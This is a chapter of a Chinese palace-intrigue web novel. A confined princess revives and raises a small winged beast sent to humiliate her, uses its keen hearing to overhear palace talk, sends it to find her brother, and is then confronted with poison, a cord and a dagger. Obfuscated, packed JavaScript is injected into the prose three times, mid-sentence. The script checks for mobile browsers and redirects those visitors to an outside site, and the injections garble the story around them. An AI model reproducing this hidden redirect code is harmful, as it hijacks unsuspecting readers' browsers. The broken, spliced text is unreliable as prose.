《鲲之大，公主衣袖装不下》 1. 南疆异兽 永安十二年的冬天，来得格外早。十月刚过，京城就落了一场大雪，纷纷扬扬直下了三日方歇。 那雪积得厚，宫人们扫也扫不及，索性由着它去，只各宫殿门前扫出一条窄道儿供人行走便是了。 坤宁宫的偏殿，原是给位分低的妃嫔随侍皇后时暂住的，门窗虽糊了厚厚的高丽纸，只是日头久了纸早酥了根本挡不住寒气钻进来。殿角设着炭盆，却早没了炭。那点子炭烧了两个时辰，卯时便尽了，如今申时已过，盆里只剩些死白的灰连一丝热气也无了。 宋文楚缩在榻上，拥着被子把自己裹得紧紧的。她歪头听着外头扫雪声，不知在想些什么。 今日是她被软禁在这偏殿的第七十三日。 七十三日前，她还不是这般凄惨光景。那时她还是大梁的公主，住在自己的公主所里头，使着四个大宫女，八个粗使太监，每日来请安的、回事的没有几十个，十几个总归是有的。可后来…… 后来父皇病倒了，摄政王入朝主政，她这公主自此也“病”了，宋文楚就被迫从公主所搬到了这里。 说是养病，她有什么病？能吃能睡，胳膊腿儿齐全，一脚踹死个摄政王的力气都有。可这话不能说，说了叫有心人传出去便是怨望，便是不知好歹。 摄政王的人来公主府传话，说得客气：“殿下身子不爽，挪到清净地方将养些日子，待大安了再搬回来。”她当时还笑了一笑，说：“有劳王爷惦记。”转身收拾东西时，把个茶盏攥得紧紧的。不过到底没摔，摔了要赔的，她如今可赔不起。 起初还好。虽说挪了地方，不过伺候的人还是那几个，吃穿用度也照旧，她还算适应。 怎料慢慢的，大宫女一个个换了，换来两个哑巴嬷嬷。再后来，每日来请安的人也少了，先是一两个没来，后来是一个也无。 唉，软禁就软禁吧，怎得待遇还越来越差了？ 她倒也不来气，只是这偏殿里死气沉沉的闷得慌又没人说话，嘴实在痒得厉害。 那两个嬷嬷虽说伺候的很尽心，但毕竟是两个哑巴，你跟她说什么她只会笑眯眯看着你，你也不好再苛责什么。 只剩下每日送饭的小太监还算跑得勤，但说得最多的也就五个字：“殿下，请用膳。”旁的一句不多说，任宋文楚怎么逗他都不为所动。 真是个冷心冷肺的。 这时候宋文楚总会想，要是有只猫儿狗儿的也好，还能逗着玩儿呢，也算有个活物作伴。可这破地方什么也没有，连只老鼠都看不见。 宋文楚琢磨着要不要睡一会儿，睡了就不觉着冷了。 这时门却被推开了。 不是小太监，他送完膳刚走不久——是李嬷嬷。她是两个哑巴嬷嬷里稍微年轻的那个，五十来岁头发白了一半，但手脚还挺麻利的。只见她站在门口，手里捧着一个托盘上头盖着块黑布。 “殿下。”她张嘴，竟然说话了。 宋文楚愣了一下。 原来你不是哑巴？那你这些日子装什么哑巴？ 不过这话到底没问出来，显得像毫无城府的蠢人。 李嬷嬷走过来将托盘置在了桌上，低声道：“摄政王府来人给您送的年礼，说是让您剥了皮做围脖的。” 宋文楚纳闷了，年礼？这不才十月吗，送年礼是不是早了些。等等，什么剥皮？敢情送的还是活物呢？ 李嬷嬷说完就退了出去。门方关上，宋文楚便听见她在外头叹了口气。 宋文楚望向托盘，黑布蒙着里面一点动静也没有，难不成是死了？ 她有些紧张，站在旁边研究了半天这里头究竟是何物。她不敢打开却又止不住心中揣测，越想越烦躁，做了好半天心理建设，最终才伸手掀开黑布。 托盘上趴着一团东西。 瞅着灰扑扑的，就巴掌那样大，像鱼又不像鱼。身上覆盖了鳞片，但也有两只没长开的肉翅软塌塌地耷拉着。 还好还好，不是什么人头、断手断脚之类吓人的玩意儿。 不过这东西宋文楚倒从未见过。 她伸出手指，戳了戳这坨玩意儿。凉的，硬邦邦的，已经僵了。果然是死物。 宋文楚心上止不住“噌”得生起一团火，好歹也是个摄政王，这送来的年礼也太不像样！ 我宋文楚再不济，也是先帝嫡女，大梁的长公主，拜他所赐被圈禁在偏殿里，连吃都吃不饱睡也睡不好，还送来这种东西恶心我？ 宋文楚越想越气，把这团死东西当成摄政王把它从托盘上捞起来，恶狠狠瞪它。 它比看起来还轻，轻得像一团棉花，但又是实的。脑袋歪在一边，眼睛闭得死紧，瞧着那叫一个可怜相。 宋文楚忽然想起小时候养过的一只兔子。 那只兔子是她八岁那年从御兽监要来的。皮毛雪白雪白，眼睛像两颗红宝石。她给兔子取名叫小红豆，每天亲自喂食，夜里还要搂着睡呢。 可是后来它死了——是太子哥哥见小红豆不喝水，便掰开它的嘴，硬生生灌水进去，给它灌死了。死的时候嘴巴红彤彤的。 小红豆死了，太子哥哥倒是哭得比她还凶，抱着它的尸体不肯撒手。最后还是父皇让人把小红豆埋在了御花园的梅树下。 那天夜里宋文楚偷偷跑去梅树那儿，把小红豆挖出来捧在手里捂了一夜想把它捂活。 当然啦，还是没捂活。 天亮后埋时啥样还是啥样，就和现在手里这团东西一模一样。 她哭了一场，又把小红豆埋回去。 她走了会儿神，等反应过来才发觉掌心的东西动了一下，在拱她的手心。宋文楚低头，盯着那团东西。它还是眼睛闭着，直挺挺的一副死相。 但它的肚子—— 它的肚子在动。 微弱的心跳搏动，一起一伏，一起一伏。 然后宋文楚做了这辈子最庆幸的一件事：把它塞进了怀里。她不知道为什么要这么做。可能是太久没和人好好说过话，今后要有这么个小东西，就能陪她说说话呢。也可能它的垂死之相，让她想起了那只没捂活的兔子，替小红豆成就宋文楚未完成的救赎。 总之，因宋文楚的恻隐，这本被摄政王送来剥皮做围脖的死物偏离了它原本的命运。 宋文楚把藏的最后一点儿碳全丢进了炭盆里，把火烧得旺旺的，将小东西塞进心窝口。除了吃饭出恭，真是一刻都不带挪窝的。 李嬷嬷进来送饭的时候，宋文楚就装着睡觉，等门一关，赶紧给小东西翻出来透透气。 这天夜里，宋文楚迷迷糊糊就要睡着，胸口上一阵蠕动的痒意给她一下子惊醒。 她睁开眼，低头。被子鼓起来一个小包，有什么东西正在里头拱。 宋文楚没忍住掀开被子，就瞧见它不知何时从衣内爬出，正趴着心口上眼睛大睁。 圆溜溜的金眼睛一眨不眨盯着她看。 一人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17279012|198335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一兽，大眼瞪小眼。 宋文楚伸出手指戳戳它的脑袋，它张嘴咬住她的手指。也没怎么用力，就只那么含着，像是在确认宋文楚是不是那个救了它的人。 “呦，你这是活了？”宋文楚刚问完就觉得自己说了傻话。 它没回答。它当然不会回答。它又不是人不会说话，甚至宋文楚到现在连它是什么都不清楚。 但它把脑袋往宋文楚掌心里蹭了蹭，又蹭了蹭。宋文楚脑中又不合时宜地想起太子哥哥灌死小红豆那天，父皇说过的话：“死了就是死了，捂不活的。” 父皇说得对，小红豆是没活。但这只—— 这只活了。 宋文楚盯着它嘿嘿傻笑半天，半晌才把它从心口拎起来举到眼前，好奇地问： “你是什么东西？” 它扑腾了一下，肉翅软塌塌地扇了扇，没飞起来，一头撞在宋文楚手指上。 “你从哪儿来的？” 它吐出一个泡泡。 哼，傻里傻气的东西。宋文楚眼珠子一转，故意吓唬它： “你可知晓，摄政王把你送来原是想让我剥你皮的。” 它歪了歪脑袋，金眼睛眨了眨，似乎完全听不懂剥皮是什么意思。 逗着小玩意儿，宋文楚心中颇有同病相怜的悲戚感。它被当成死兽送来折辱她，而宋文楚被当成死人扔在这儿自生自灭。 他们的命运是何等相似，都是被抛弃，一样的任人宰割。 但还是有区别的，宋文楚救活了它，却没人来救宋文楚。她懒洋洋地想，算了这就够了，至少以后的日子也不算太寂寥。 她的思绪越飘越远，落在了某个节点处突然定住，心中有些许存疑。 宋文楚把门推开一道缝，冲外头喊了一声：“李嬷嬷。” 李嬷嬷来得很快，看见宋文楚怀里的东西时只愣了一瞬又恢复如初，并未多问。 “你知这只死兽是摄政王从哪儿弄来的吗？” 李嬷嬷想了想：“听说是今年南疆进贡上国的异兽。统共进贡了三只，却在送来的路上因水土不服死了两只，最后只剩这一只也半死不活的。摄政王府中派人接过去养了几天还是没养活……最后就给您送来了。” 宋文楚笑了笑，对李嬷嬷说声明白了便又阖上门。窝在宋文楚手臂里的小兽金眼睛眯成条缝，瞅着像是快要睡着了。 摄政王知道宋文楚恨他。 他也知道宋文楚什么都做不了——一个无权无势的年幼公主被软禁于此，连这间偏殿都出不去。 即便如此摄政王也仍觉得不够。 倒也难为他费尽心思用这种方式羞辱她了，宋文楚嗤笑。她咽下心中弥天的仇恨，她现在什么都没有，她只能隐忍蛰伏。 宋文楚拨弄着小兽的肉翅，将它翻个身，它好不容易快要睡着又被这么弄醒，惺忪的金眼睛呆呆看向宋文楚。 “小东西小东西的叫着怪别扭，你有什么名字么？”她现在已经能通过它的情绪理解它的意思了。 它眨眨眼。 宋文楚恍然大悟：“哦~看来你没有名字。” 它又眨眨眼。 宋文楚挠着它的下巴：“那好吧，那我就勉为其难给你取一个，得本公主亲赐姓名，真是你天大的荣幸呢。”也是过了一把嘴瘾。 “此后你便叫宋展翅吧。”宋文楚说。 它扑腾了一下，肉翅扇了扇，像是在回应。 2. 耳力好极 夜里，宋展翅睡在宋文楚枕边。准确来说不是枕头边是枕头上，和宋文楚枕的同一个枕头。它把自己蜷成一团，脑袋埋在宋文楚头发里，听着它细微均匀的呼噜声，宋文楚感觉耳边像风吹过。 许久没好好睡过一觉的宋文楚今夜破天荒的沾了枕就睡，还睡得很沉。 只是半夜里却被宋展翅闹醒了。宋文楚提溜起它脖子，气不打一处来：“我好不容易睡着的，你干嘛闹我？” 宋文楚困倦了，按着宋展翅继续睡觉，才躺下呢宋展翅又从衣襟里钻出来半个脑袋，嘴巴不住开合。 “瞅什么瞅？”宋文楚拍拍它脑袋，“这是又要吃东西了？哎呦我的小祖宗，晚间不是才喂了食？这么能吃呢。我可告诉你，我这里供不起你吃喝，你跟着我算是倒了八辈子霉。” 话虽这么说，但喂还是得喂。 不过喂什么又是个大问题。她的膳食本就清减，一日两顿只有素，油星儿压根没见过。她扣扣搜搜把每顿的吃食分出一点来，搁在茶盏里递到它跟前。它凑上去嗅嗅，不吃。又嗅嗅，还是不吃。最后干脆把脑袋一歪，拿屁股对着那茶盏。 “都什么时候了，还这么挑嘴呢。”宋文楚戳戳它的肉翅，“饿死拉倒。” 它不理她，自顾自地把脑袋往她袖子里拱。 后来宋文楚发现，这东西爱吃荤。那日午膳居然破天荒地加了一道炒肉丝，她夹了一筷子放在茶盏里，它嗅了嗅，张嘴便叼了去，三两下咽了，又抬起头来望着她，金眼睛里写着两个大字：还要。 平日里宋文楚给它喂食时，从未见它如此爽利吃完，原来是个荤食爱好者，她这公主都没吃过几回荤。啧，好个挑嘴玩意儿。 宋文楚一边骂一边笑眯眯把盘中肉丝全挑给了它。 小太监来收碗的时候，看着那空空的菜盏又看看宋文楚。这位殿下从前虽说不挑食，却也没见过把菜吃得这么精光的时候。他一日三餐都送得及时，没饿着她过呀？难道最近在长身体饭量大了？ 小太监挠着脑袋走了。 宋文楚将藏在袖里的宋展翅掏出来透个风，打趣道：“好麽，这下我成饭桶公主喽。” 宋展翅打了个嗝，一股肉丝味。 半月下来，宋展翅长了一圈，肉翅上冒出了点细软的绒毛茬子，灰扑扑的，像是刚孵出来的麻雀崽儿。 宋展翅不会叫，张张嘴只会发出“咻咻”声，仿佛风穿过门缝。 它趴在窗台上眯着眼一脸惬意，宋文楚歪在炕上看着它。这么丁点儿大，倒会享受。 外头传来一阵脚步声。 宋文楚没在意。这偏殿虽说确实偏得很，偶尔还是有宫人经过，扫雪的、送炭的、传话的，来来去去，她早习惯了。 可宋展翅动了。 它那对翅膀倏地支棱起来，宋展翅歪着脑袋抖了抖耳朵，咦？它居然有耳朵呀，虽然很小藏在脑袋两侧的绒毛里竟瞧不出来。然后它扑腾起来，从窗台上飞下去。 说是飞，其实扑腾了两下就掉地上了，但是它锲而不舍落下后又一路挪到门边，然后就杵在那儿一动不动。 翅膀开始颤抖。 等脚步声远了，宋展翅才慢慢扑腾回来，想跳上炕没跳得上去，还是宋文楚捞了它一把。宋展翅打了个哈欠，缩头埋进宋文楚胳膊下。 宋文楚把它拎出来，逗它：“你能听到外面动静？”宋展翅抖了两下翅膀回应她。 宋文楚来了兴致。她把宋展翅放在耳边，小声说：“那你再听听，现在外头有什么动静？” 宋展翅果然侧过脑袋，翅膀颤着。过了一会儿，它收回翅膀，又望她：听见了，然后呢？ 宋文楚忍不住笑了。 有趣，真有趣。 呦，看来这下她是捡了个宝贝。 她捉着宋展翅翻来覆去地看，它还是那副灰扑扑的样儿，不过瞧着比先前顺眼了一点儿，但也只是一点儿。 从那以后，宋文楚无聊的日子便多了一件消遣：拿宋展翅听动静。 她发现宋展翅的耳朵灵得很。李嬷嬷和小太监在外头说话，隔着门，隔着窗，她听不见，可宋展翅可以并且都能理解。 多观察过几次宋文楚就摸出了一套她和宋展翅之间的默契。 外面有人说话，它的翅膀会微微颤动，如同水面泛起的涟漪。颤动的幅度不大，就是宫人们在寻常说话。颤得厉害了，准是有人在争执或是说她坏话。颤着颤着忽然不动了，便是那人走远了。 日子就这么过着，宋文楚的心情和平了好些，再不似刚搬来这里的郁闷。 它听她说话，她听它咻咻，一人一禽也算是有来有往，再玩点听声辩位的把戏，多有意思。 今日终于放了晴，屋檐上一层薄薄的积雪被太阳晒着，一滴滴往下渗水。 宋展翅正趴在她手心里打盹，外头忽然吵嚷起来，宋文楚听到远处有人在喊，像是宫门那边出了什么事。宋展翅已经被惊醒了，翅膀不住地打着颤。 宋文楚随口说：“听听，他们在吵什么呢？” 宋展翅支着的翅膀没颤一会儿就停了下来，忽然扭头望她，眼神竟有些古怪。 宋文楚：“怎么了？” 它当然不会说话。 宋文楚也没往心里去，只当它听见了什么寻常的动静没甚稀奇的。 她把宋展翅捧起来，越看越喜欢。虽然丑了点，可这小东西是她的，完完全全属于她宋文楚的。 “你到底是什么东西？”宋文楚戳戳它的肚子。 宋展翅被她戳得痒了，扭了扭身子拿翅膀抱住她的手指，张嘴便往嘴里送，不咬，就是含着。 宋文楚由它含着。 “你倒是好命，吃了睡睡了吃，没事还能听个壁角，可不比我个折了翅膀的公主强。” 宋展翅松开她的手指，把脑袋往她怀里拱。 宋文楚把它塞进衣襟里，拍拍它：“行了，睡吧。明儿个要是再听见什么有趣的，记得告诉我。” 偏殿里没有炭，宋文楚只能靠那床被子裹着取暖。不过她怀里的宋展翅倒是暖烘烘的。 摄政王啊摄政王，你送来的这东西，怕是要让你失望了。 它不但没死成，还成了我的耳朵呢。 宋文楚又想，等它翅膀长齐了，能飞了，不知能不能飞出去给我打探打探消息？

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17279013|198335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 宋文楚又有些心虚。 宋展翅不过是个小东西，懵懵懂懂的，吃睡之外什么都不懂。她拿它解闷取乐，拿它听动静也便罢了，它都由着她黏着她，可如今她又要拿它做别的用场。 宋文楚想到它对自己毫无防备的睡相，想起它听见动静后回头邀功似的亮晶晶的金眼睛。 宋展翅信她。 宋展翅把她当依靠。 自己这么盘算它，是不是有些对不住它？ 宋展翅可不知道它在想什么，它只觉得有点热在她心口拱来拱去，宋文楚掀开被子让它透透风，宋展翅眯着眼瞅她，然后身子一歪栽倒，又睡着了。 这个笨东西。算了，还是先养着吧。 养得壮壮的，再说飞的事。 过了两日李嬷嬷来送炭。宋文楚在午憩，宋展翅趴在她胸口也在睡。李嬷嬷进来的时候，宋展翅的翅膀动了动，没颤，然后翻个身接着睡。 李嬷嬷送完却没有立即离开，在门口多站了好一会儿。她侧着耳朵听墙外动静，外头远远有人说话声，只是隔得太远听不真切。 被窝里那团却动了动，宋展翅从宋文楚胸口爬起来，艰难挪出被窝后，翅膀颤得厉害，抖得跟筛糠似的。 李嬷嬷终于走了。 宋文楚才把宋展翅捧起来。它还颤着，眼里瞧着竟有些慌张的神色 宋文楚安抚着，柔声问道：“听见什么了？” 宋展翅望着她，慢慢平静下来。 宋文楚把它贴在耳边，蹭了蹭：“是不是听见什么不好的事了？” 它将脑袋往她掌心里拱了拱。 它说不出来。 这一夜宋文楚都没睡着。她躺在炕上，把宋展翅搁在枕头边，盯着房梁发呆。脑子里一直想白日里的事，宋展翅究竟是听见了什么能让它慌成那样？ 李嬷嬷是摄政王的人么，还是皇后的人？ 只是宋文楚想得毫无头绪索性不想了。 她侧过身，手搭在宋展翅身上。 月光照见它的身子，可以看到肚子一起一伏的，翅膀软塌塌地搭在两边。它倒是对宋文楚毫无防备。 原来宋展翅不光是能听见。它还能听懂，比她以为的要多得多。 宋展翅醒来的时候，发现宋文楚盯着它看，看样子已经都盯了好一会儿了。它被宋文楚看得不自在，扭了扭身子拿翅膀遮住脸，也不知道是害臊还是嫌烦。 宋文楚把它的翅膀扒拉开：“别躲了，我问你哦你能听懂人说话吗？” 宋展翅翅膀抖了抖。 “能还是不能？能就点点头，不能就摇摇头。” 它歪着脑袋看她，没动。 “啧，点头都不会？”宋文楚叹了口气，“算了，当我没问。” 宋文楚想了想：“那咱们换个法子。往后你听见什么动静，要是觉得重要就使劲颤翅膀。要是觉着不重要就别颤了。懂了没？” 宋展翅咻了一声，宋文楚权当它懂了。 然后宋展翅每日照常吃照常睡，照常趴在她怀里晒太阳。有时候外头有人经过，它动都不动，宋文楚探头望望，无非是那几个宫人没甚稀奇。 3. 休戚与共 傍晚时分李嬷嬷推门进来送膳，脸色比平日沉些，搁下食盒便走，一句话没说。 今天居然不是那个小太监来给宋文楚送膳了。 她一走，宋展翅的翅膀就开始直颤。宋文楚捧着它问：“她怎么了？” 宋展翅咻了一声，翅膀颤地更快。宋文楚想了一下，试探道：“你是说，她在外头跟人说话了？” 宋展翅不动了。 “说了什么？” 宋展翅的翅膀又颤了颤，像是在强调什么。 宋文楚心里隐约有了个念头。她没先把念头搁在那儿，只把宋展翅塞回怀里继续吃饭。 晚间宋文楚正要寝安了，宋展翅却自顾自的从床上飞下去。把耳朵贴在门缝上。 宋文楚起了警觉心。 她裹着被子跳下床蹲到它旁边，学它耳朵贴在门缝上听。 外头确实有人说话，是两个守夜的太监正在廊下烤火。 一个粗哑声音说：“……这鬼天气。” 另一个尖细些的声音接道：“可不是。往年这时候还穿夹袄呢，今年棉袄都上身了。” 粗哑嗓子嗤了一声：“你知足吧，好歹还有堆火烤。里头这位，连炭都没了。” 宋文楚心中一动，说的不就是她嘛。 接着，尖细嗓子压低了声音：“哎，你说上头那位，也不知还能……” 话说一半，不说了。 上头那位？父皇？ 又听到粗哑嗓子哼了一声：“这话你也敢问？” “这不是就咱俩嘛。” 两个太监沉默。炭火又哔剥响了几声。粗哑嗓子叹了口气： “太医院那帮人，如今都不往那边去了。” 尖细嗓子吸了口凉气：“这么说，快了？” “快了。不过也说不准，兴许还能熬过年。” 宋文楚指甲掐进了肉里。 父皇快不行了？她早知道他病着，可没想过会这么快。她被关在这里这些时日，对外头的消息一概不知。父皇的病如何了、太子哥哥如何了、朝中如何了，她全不知道。 如今听这俩太监的意思，父皇怕是…… 她正忧惧着，外头那尖细嗓子又说话了： “这边那位呢？” “哪位？” “就是这儿啊。咱们这位公主，不是说也……” 粗哑嗓子赶紧打住他：“别胡说！” “我没胡说，我听说的就是——” “听说听说，听谁说的？这种事也敢乱传？” 尖细嗓子讪讪地笑了笑：“我这不是随口一说嘛。再说了，都这样了，还能翻出什么浪来？” 粗哑嗓子不接话，只往火里添柴，噼里啪啦响了一阵。 许是察觉到气氛凝重，尖细嗓子又重新换了话题：“御膳房新来了个厨子……” 后面的话，宋文楚听不进去了。她靠着门，慢慢滑坐下来。宋展翅转身贴上她手背，蹭了蹭。 宋文楚没理它。 她脑子里乱哄哄的，一会儿是父皇的脸，一会儿是太子哥哥的脸，一会儿是那尖细嗓子说的“咱们这位公主，不是说也”——也什么也快了？ 她不知道。她听不明白。 那俩太监说话躲躲闪闪的，说一半藏一半，像是在说什么了不得的事，又像是在说些不值一提的闲话。 父皇快了，这话她听得懂。 可她自己呢？“也”什么？也快了？还是也像父皇一样，快不行了？ 宋文楚感觉到指尖传来温热，原来宋展翅正用自己的小翅膀去拍她手，笨拙而努力着制止她伤害自己的行为，宋文楚这才看到自己的手心流血了。 “没事的展翅。”宋文楚终于克制不住情绪，将宋展翅贴近自己额头，“不怕，咱们不怕……” 可她自己知道，她怕。 她怕得厉害。 她把宋展翅塞回怀里，上了炕。宋展翅一下一下的心跳，贴着她的心口在跳。 黑暗里什么也看不见，她看不见宋展翅眼中珍视，宋展翅看不见她的眼泪。 第二日，还是李嬷嬷来送的饭，那个小太监好像真的就突然消失了。 宋文楚连自己都顾不上，又哪里会有闲心问个小太监怎么了。 总归都是一样的结局，还能怎么呢。 她在李嬷嬷把托盘搁下转身要走的时候开口了：“嬷嬷，你也是摄政王的人？” 李嬷嬷停下了，但没回头。 “我不是谁的人，我只是个没用的老婆子，什么都做不了。” 宋文楚叹口气：“我父皇，是不是不大好了？” 李嬷嬷的身子震了一下。 “你不说我也知道，外头那些话我都听得见。” 李嬷嬷回头看宋文楚，眼睛里有惊，有怕，似乎还掺杂着怜悯无奈。 “殿下，”她哑着嗓子，“您……别问了。” “我不问了。我只问你一件事——我还有几日？” 李嬷嬷的脸色更白了。 宋文楚盯着她的眼睛：“摄政王要我的命，总要挑个日子。是今儿个，明儿个，还是后儿个？” 李嬷嬷嘴唇哆嗦着，半晌扑通一声跪下来：“殿下！老奴……老奴不能说！说了，老奴那条贱命不打紧，可老奴还有个孙子才十二岁啊，就在摄政王府当差……” 十二岁啊，跟她一样的年纪。 唉，自己要死了，总不能让别人也不能活。 她弯腰把李嬷嬷扶起来，放软了声音：“嬷嬷，我不为难你。你就告诉我，是不是快了？” 李嬷嬷垂着眼，点了点头。 “几日？” 李嬷嬷颤颤巍巍地伸出三根手指。 三日。 宋文楚闭了闭眼，又睁开：“多谢嬷嬷。” 李嬷嬷抹着泪出去了。门关上的那一刻，宋文楚腿一软坐倒在炕沿上。 外头的风又起来了。 呜呜地响，像有人在远处哭。 宋文楚想起小时候，父皇抱着她指着御花园里那棵老梅树说：“楚儿，等这树开了花，父皇带你去看。” 她问：“开了花什么样？” 父皇笑着说：“红的，白的，满树都是，好看得很。” 如今那梅树早开了不知多少回花，父皇却再没抱过她，也没再一同去看过花。 今后这花，她与父皇怕是都见不着了。 三日。 她只有三日了。 宋展翅担忧的目光注视着她，它想为她做些什么，可它自己都那么弱小根本什么也做不了。 宋文楚摸着它的翅膀，翅上的绒毛又密了些，底下能看见几根细细的羽管：“好展翅，又长大了些。” 宋展翅啾啾两声。 “你会飞了吗？” 宋展翅低头看看自己的翅膀，又看看她，宋文楚明白它的意思：还不行，再等等。 宋文楚苦笑。 等？她等得了，可外头那些人等不了。 她亲一亲宋展翅的脸，轻声说：“展翅，你得帮我，我只有你了。” “我现在出不去也传不了消息，但是你能。等你翅膀长好了，你飞出去，去找太子哥哥。他在东宫，你知道东宫在哪儿吗？” 宋文楚指着门外：“你听，外头那些人说话你能听见吧？东宫就在东边，有好多人在那儿，你就听着他们的声音，往人多的方向飞，总能找到的。” 宋展翅又咻了一声，也不知道听懂没有。 “找到了太子哥哥，你就落在他肩膀上，让他知道是我派你来的。”宋文楚说着说着就有些心酸。 先不说太子哥哥能不能懂宋展翅的意思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17279014|198335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 再者这么丁点儿大的东西，它又不认得路，飞出去能不能飞到东宫呢？万一叫人逮了…… 宋文楚不忍心了。 “算了，不飞了。咱们另想法子。” 宋展翅却从她掌心里挣出来，扑棱着那对翅膀，咻咻地叫着。 我行，我能行。 宋文楚看着它，眼眶涌起一阵温热。 “傻东西，你才多大点儿飞什么飞。” 宋展翅不理她，还在一个劲儿扇动翅膀，想让宋文楚看到它可以飞。 它在努力长大。 为了她。 临近死期了，宋文楚根本睡不着，她坐在炕上盯着窗户发呆，心里又焦又躁，却无可奈何。 外面又有了动静，有人在说话。 宋展翅从她怀里钻出来，支着翅膀听。听着听着，伸出翅膀尖在她手心划拉，歪歪扭扭的不成字形，但它一遍一遍地划，划得她手心发痒。 宋文楚明白过来，它在写字。 她屏住呼吸，仔细辨认笔画。 第一下，是一个弯。第二下，又是一个弯。第三下，是一个圈—— 弯，弯，圈。 弯弯圈是什么？ 不对。它不认得字，但能听得懂人话，如果不是字的话，那是音。 弯弯圈是——是“完”。 圈是零，是“了”。 完了。 可后面还有。 宋展翅又划了几下，她认出来了：是“明”。 明。 完了，明。 是“明天”，明天就完了？ 不是三日吗？李嬷嬷明明说三日，怎么变成明天了？ 她的心砰砰地跳。外头的人声还在继续，宋展翅的翅膀这回划的是“子”，然后是“时”。 子时。 明天子时。 原来如此。李嬷嬷说的三日是哄她的。或者是李嬷嬷自己也不知道摄政王改主意了，提前了她的死期。明天子时，就是今晚半夜。 月亮刚升起来，算算时辰，离子时还有两个时辰。 两个时辰。 她只有两个时辰了。 恐惧到极点，宋文楚反而变得很冷静：“展翅，你听我说。” 宋展翅目光庄重。 “我现在要你飞出去，飞不出去咱们俩都活不成了。” 宋文楚强忍着眼泪：“你往东飞，去找太子哥哥。找到了，就落在他肩膀上，让他知道是我派你来的。要是找不到……要是找不到，你就自己藏起来躲得远远的，千万别叫人逮着。” 宋展翅伸出翅膀去拭她的泪。 翅上的绒毛软软的，擦在脸上痒痒的。 宋文楚把它贴在嘴边，亲了亲。 “去吧。” 她把宋展翅捧到窗边，但窗糊了丽纸透不过去，她伸手把窗纸捅了个窟窿。 真冷啊，可她如今已经顾不得冷不冷了。 宋展翅站在她掌心里，那对翅膀扇动着，扇动着。然后翅膀一张，竟真的离开了她的掌心。 宋展翅飞起来了。 歪歪扭扭跌跌撞撞的模样，像刚学飞的小麻雀。可它真的飞起来了。 宋文楚看着它钻出窟窿消失在夜色里，眼泪止不住地往下流。 “展翅，你可一定要找到啊。”她喃喃着。 只有窗外的风呜呜回应她。 子时，还有两个时辰。 她不知道宋展翅能不能飞到东宫，能不能找到太子哥哥，能不能在子时之前把消息带到。 她只知道，她只能等。 等一个不知道会不会来的救兵。 等一个不知道能不能活下来的明天。 宋文楚低下头，在心里一遍一遍地念叨： “宋展翅，你可要活着回来啊。” 4. 饮鸩惊鸿 宋文楚的头歪靠在窗户纸上，透过那个窟窿看外边，虽然什么也看不见。 再等等。再等等。兴许它迷了路。兴许它飞得慢……唉。 子时过了。 外头没有动静，没有救兵，没有太子哥哥。只有妖风在鬼叫。 她不得不面对惨淡的事实：宋展翅怕是回不来了，她也要死了。 宋文楚后悔起来，不该放它走的。好歹最后那一程，也有个伴儿。 门哐当一声开了。 两个嬷嬷端着托盘进来，托盘上搁着一只白玉盏，盏里的酒色如琥珀般澄澈，颤颤晃漾。 宋文楚的心这下彻底沉到了底。 没有李嬷嬷。是两个眼生的嬷嬷，一个白些，一个黑些，都面无表情跟索命无常似的，说是无常却也没差。 白面嬷嬷把托盘往桌上一搁，声音平平的：“殿下，时辰到了。” 黑脸嬷嬷将另一个托盘里的白绫与匕首一并搁在桌上展示给宋文楚看：“殿下自己选，酒、绫或刀子，都是干净利落的，去了也少遭罪。” 宋文楚往墙边又靠了靠，背抵着墙，凉意隔着算不得厚的冬衣传到她身上。 她想起小时候听宫人们嚼舌根，说先帝有个妃子就是饮了鸩酒去的。死时七窍流血，脸都变了形。又说哪个太监是吊死的，舌头伸得老长，收尸的时候都缩不回去。 我不选。她在心底说了一遍又一遍。 就算死，她也不要死得这么难看。 她不知道该怎么办。她没见过这种场面，没人教过她这时候该说什么该做什么。她只知道她不能选，选了就死了，宋展翅就白飞了，父皇就白等了。 可她能不选么？两个嬷嬷堵在门口，后头还站着两个小太监，她又不是宋展翅，哪里跑得掉呢。 冷静，冷静。 只要这两人没拿着毒酒强灌她，她就还有一线机会。 宋文楚目光一一从两个嬷嬷脸上扫过。 她见过母妃宫里那些个老嬷嬷，知道这些人的德性，你若软一分，她便硬十分。你但凡露出半点怕，她们就能把你搓圆捏扁。 两个嬷嬷竟觉心惊。 炕沿边坐着的小公主还是那个小公主，瘦瘦矮矮的，可不知怎的那眼神就是变了。她脊背挺直，下巴高高昂起，不笑不怒，不冷不热，却叫两个嬷嬷瞧不出这位公主的深浅，只觉得自己矮了一截。 “我要见临皇叔。” 白面嬷嬷只觉她在痴想。 “什么？” “殿下说什么胡话。摄政王岂是你说见就见的？” 